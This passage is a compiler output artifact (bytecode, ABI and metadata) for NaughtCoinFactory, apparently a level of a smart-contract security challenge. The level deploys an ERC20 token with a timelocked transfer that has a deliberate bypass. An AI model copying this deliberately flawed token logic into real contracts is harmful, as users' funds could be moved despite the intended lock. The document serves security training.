00780546001600160a01b0319166001600160a01b03841617905550620000cc601290565b620000dc9060ff16600a620004df565b620000eb90620f4240620004ec565b60068190556007546200010a916001600160a01b039091169062000146565b6007546006546040519081526001600160a01b03909116905f905f8051602062000f088339815191529060200160405180910390a35062000506565b6001600160a01b038216620001a15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001b4919062000232565b90915550506001600160a01b0382165f9081526020819052604081208054839290620001e290849062000232565b90915550506040518181526001600160a01b038316905f905f8051602062000f088339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156200024857620002486200021e565b92915050565b5f602082840312156200025f575f80fd5b81516001600160a01b038116811462000276575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002a657607f821691505b602082108103620002c557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200021957805f5260205f20601f840160051c81016020851015620002f25750805b601f840160051c820191505b8181101562000313575f8155600101620002fe565b5050505050565b81516001600160401b038111156200033657620003366200027d565b6200034e8162000347845462000291565b84620002cb565b602080601f83116001811462000384575f84156200036c5750858301515b5f19600386901b1c1916600185901b178555620003de565b5f85815260208120601f198616915b82811015620003b45788860151825594840194600190910190840162000393565b5085821015620003d257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b600181815b808511156200042657815f19048211156200040a576200040a6200021e565b808516156200041857918102915b93841c9390800290620003eb565b509250929050565b5f826200043e5750600162000248565b816200044c57505f62000248565b8160018114620004655760028114620004705762000490565b600191505062000248565b60ff8411156200048457620004846200021e565b50506001821b62000248565b5060208310610133831016604e8410600b8410161715620004b5575081810a62000248565b620004c18383620003e6565b805f1904821115620004d757620004d76200021e565b029392505050565b5f6200027683836200042e565b80820281158282048414176200024857620002486200021e565b6109f480620005145f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c806348db5f8911610088578063a457c2d711610063578063a457c2d7146101d5578063a9059cbb146101e8578063d085835a146101fb578063dd62ed3e14610204575f80fd5b806348db5f891461017a57806370a08231146101a557806395d89b41146101cd575f80fd5b806323b872dd116100c357806323b872dd1461013c5780632ff2e9dc1461014f578063313ce567146101585780633950935114610167575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023c565b6040516100fe919061084e565b60405180910390f35b61011a6101153660046108b5565b6102cc565b60405190151581526020016100fe565b6002545b6040519081526020016100fe565b61011a61014a3660046108dd565b6102e5565b61012e60065481565b604051601281526020016100fe565b61011a6101753660046108b5565b610308565b60075461018d906001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b61012e6101b3366004610916565b6001600160a01b03165f9081526020819052604090205490565b6100f1610346565b61011a6101e33660046108b5565b610355565b61011a6101f63660046108b5565b610403565b61012e60055481565b61012e610212366004610936565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461024b90610967565b80601f016020809104026020016040519081016040528092919081815260200182805461027790610967565b80156102c25780601f10610299576101008083540402835291602001916102c2565b820191905f5260205f20905b8154815290600101906020018083116102a557829003601f168201915b5050505050905090565b5f336102d9818585610445565b60019150505b92915050565b5f336102f285828561059c565b6102fd85858561062c565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906102d9908290869061034190879061099f565b610445565b60606004805461024b90610967565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102fd8286868403610445565b6007545f906001600160a01b03163303610434576005544211610424575f80fd5b61042e8383610841565b506102df565b61043e8383610841565b5092915050565b6001600160a01b0383166104c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b03821661053c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062657818110156106195760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ed565b6106268484848403610445565b50505050565b6001600160a01b0383166106a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0382166107245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0383165f90815260208190526040902054818110156107b25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e890849061099f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161083491815260200190565b60405180910390a3610626565b5f336102d981858561062c565b5f602080835283518060208501525f5b8181101561087a5785810183015185820160400152820161085e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108b0575f80fd5b919050565b5f80604083850312156108c6575f80fd5b6108cf8361089a565b946020939093013593505050565b5f805f606084860312156108ef575f80fd5b6108f88461089a565b92506109066020850161089a565b9150604084013590509250925092565b5f60208284031215610926575f80fd5b61092f8261089a565b9392505050565b5f8060408385031215610947575f80fd5b6109508361089a565b915061095e6020840161089a565b90509250929050565b600181811c9082168061097b57607f821691505b60208210810361099957634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102df57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ba781f5cd3cc8446ed1ba6a3609ba07d956fb73d3732c75c110c4cf6ad8ef9cf64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c28238316333b765c00df2ab8bbd53ec72606d6415912417c5f301e18389d3fa64736f6c63430008180033","sourceMap":"113:404:96:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;113:404:96;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;113:404:96:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d3660046200038f565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec366004620003b4565b6200017f565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a620001213660046200038f565b62000210565b62000131620002aa565b6200013c5f62000305565b565b5f816040516200014e906200036c565b6001600160a01b039091168152602001604051809103905ff08015801562000178573d5f803e3d5ffd5b5092915050565b6040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b0382811660048301525f9184918216906370a0823190602401602060405180830381865afa158015620001e1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002079190620003f0565b15949350505050565b6200021a620002aa565b6001600160a01b0381166200029c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620002a78162000305565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000293565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610f28806200040983390190565b6001600160a01b0381168114620002a7575f80fd5b5f60208284031215620003a0575f80fd5b8135620003ad816200037a565b9392505050565b5f8060408385031215620003c6575f80fd5b8235620003d3816200037a565b91506020830135620003e5816200037a565b809150509250929050565b5f6020828403121562000401575f80fd5b505191905056fe608060405262000014426312cc030062000232565b60055534801562000023575f80fd5b5060405162000f2838038062000f2883398101604081905262000046916200024e565b6040518060400160405280600a8152602001692730bab3b43a21b7b4b760b11b8152506040518060400160405280600381526020016203078360ec1b81525081600390816200009691906200031a565b506004620000a582826200031a565b5050600780546001600160a01b0319166001600160a01b03841617905550620000cc601290565b620000dc9060ff16600a620004df565b620000eb90620f4240620004ec565b60068190556007546200010a916001600160a01b039091169062000146565b6007546006546040519081526001600160a01b03909116905f905f8051602062000f088339815191529060200160405180910390a35062000506565b6001600160a01b038216620001a15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001b4919062000232565b90915550506001600160a01b0382165f9081526020819052604081208054839290620001e290849062000232565b90915550506040518181526001600160a01b038316905f905f8051602062000f088339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156200024857620002486200021e565b92915050565b5f602082840312156200025f575f80fd5b81516001600160a01b038116811462000276575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002a657607f821691505b602082108103620002c557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200021957805f5260205f20601f840160051c81016020851015620002f25750805b601f840160051c820191505b8181101562000313575f8155600101620002fe565b5050505050565b81516001600160401b038111156200033657620003366200027d565b6200034e8162000347845462000291565b84620002cb565b602080601f83116001811462000384575f84156200036c5750858301515b5f19600386901b1c1916600185901b178555620003de565b5f85815260208120601f198616915b82811015620003b45788860151825594840194600190910190840162000393565b5085821015620003d257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b600181815b808511156200042657815f19048211156200040a576200040a6200021e565b808516156200041857918102915b93841c9390800290620003eb565b509250929050565b5f826200043e5750600162000248565b816200044c57505f62000248565b8160018114620004655760028114620004705762000490565b600191505062000248565b60ff8411156200048457620004846200021e565b50506001821b62000248565b5060208310610133831016604e8410600b8410161715620004b5575081810a62000248565b620004c18383620003e6565b805f1904821115620004d757620004d76200021e565b029392505050565b5f6200027683836200042e565b80820281158282048414176200024857620002486200021e565b6109f480620005145f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c806348db5f8911610088578063a457c2d711610063578063a457c2d7146101d5578063a9059cbb146101e8578063d085835a146101fb578063dd62ed3e14610204575f80fd5b806348db5f891461017a57806370a08231146101a557806395d89b41146101cd575f80fd5b806323b872dd116100c357806323b872dd1461013c5780632ff2e9dc1461014f578063313ce567146101585780633950935114610167575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023c565b6040516100fe919061084e565b60405180910390f35b61011a6101153660046108b5565b6102cc565b60405190151581526020016100fe565b6002545b6040519081526020016100fe565b61011a61014a3660046108dd565b6102e5565b61012e60065481565b604051601281526020016100fe565b61011a6101753660046108b5565b610308565b60075461018d906001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b61012e6101b3366004610916565b6001600160a01b03165f9081526020819052604090205490565b6100f1610346565b61011a6101e33660046108b5565b610355565b61011a6101f63660046108b5565b610403565b61012e60055481565b61012e610212366004610936565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461024b90610967565b80601f016020809104026020016040519081016040528092919081815260200182805461027790610967565b80156102c25780601f10610299576101008083540402835291602001916102c2565b820191905f5260205f20905b8154815290600101906020018083116102a557829003601f168201915b5050505050905090565b5f336102d9818585610445565b60019150505b92915050565b5f336102f285828561059c565b6102fd85858561062c565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906102d9908290869061034190879061099f565b610445565b60606004805461024b90610967565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102fd8286868403610445565b6007545f906001600160a01b03163303610434576005544211610424575f80fd5b61042e8383610841565b506102df565b61043e8383610841565b5092915050565b6001600160a01b0383166104c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b03821661053c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062657818110156106195760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ed565b6106268484848403610445565b50505050565b6001600160a01b0383166106a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0382166107245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0383165f90815260208190526040902054818110156107b25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e890849061099f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161083491815260200190565b60405180910390a3610626565b5f336102d981858561062c565b5f602080835283518060208501525f5b8181101561087a5785810183015185820160400152820161085e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108b0575f80fd5b919050565b5f80604083850312156108c6575f80fd5b6108cf8361089a565b946020939093013593505050565b5f805f606084860312156108ef575f80fd5b6108f88461089a565b92506109066020850161089a565b9150604084013590509250925092565b5f60208284031215610926575f80fd5b61092f8261089a565b9392505050565b5f8060408385031215610947575f80fd5b6109508361089a565b915061095e6020840161089a565b90509250929050565b600181811c9082168061097b57607f821691505b60208210810361099957634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102df57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ba781f5cd3cc8446ed1ba6a3609ba07d956fb73d3732c75c110c4cf6ad8ef9cf64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c28238316333b765c00df2ab8bbd53ec72606d6415912417c5f301e18389d3fa64736f6c63430008180033","sourceMap":"113:404:96:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;155:139:96;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;155:139:96;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;300:215:96;;;;;;;;;;-1:-1:-1;300:215:96;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;300:215:96;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;155:139:96:-;229:7;278;263:23;;;;;:::i;:::-;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;263:23:96;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;248:39:96;155:139;-1:-1:-1;;155:139:96:o;300:215::-;476:27;;;;;-1:-1:-1;;;;;589:55:155;;;476:27:96;;;571:74:155;400:4:96;;449:9;;476:18;;;;;544::155;;476:27:96;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:32;;300:215;-1:-1:-1;;;;300:215:96:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1640:2:155;2161:73:23::1;::::0;::::1;1622:21:155::0;1679:2;1659:18;;;1652:30;1718:34;1698:18;;;1691:62;1789:8;1769:18;;;1762:36;1815:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2047:2:155;1414:68:23;;;2029:21:155;;;2066:18;;;2059:30;2125:34;2105:18;;;2098:62;2177:18;;1414:68:23;1845:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:184::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;-1:-1:-1;1411:16:155;;1249:184;-1:-1:-1;1249:184:155:o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/NaughtCoinFactory.sol\":\"NaughtCoinFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/NaughtCoin.sol\":{\"keccak256\":\"0xcb5badafdda7964f7ecff734d7ea651955edd8ac972af60da00a333d93b90ee6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c28431e7bf65eb7fd2c5f86912e2b1a8f5abe81ed9b89feb2d4c7d0f3c1c4862\",\"dweb:/ipfs/QmexLSfBVULBNSsMMNkZjpvFWj24ESns2L8Jcm7e6d1reF\"]},\"src/levels/NaughtCoinFactory.sol\":{\"keccak256\":\"0x7146a3ec6a6e204caf33b721e814b3e1a3691365931e7753feda417709854ed8\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://16ccc02087f857f8dd2ff7d51adb718d52981ed8fcb20ae04e5bae211b46dadb\",\"dweb:/ipfs/QmYm2NTpzwPVoxksq8n33nVU49jfVCbicB5MfinMPqr36s\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/NaughtCoinFactory.sol":"NaughtCoinFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"l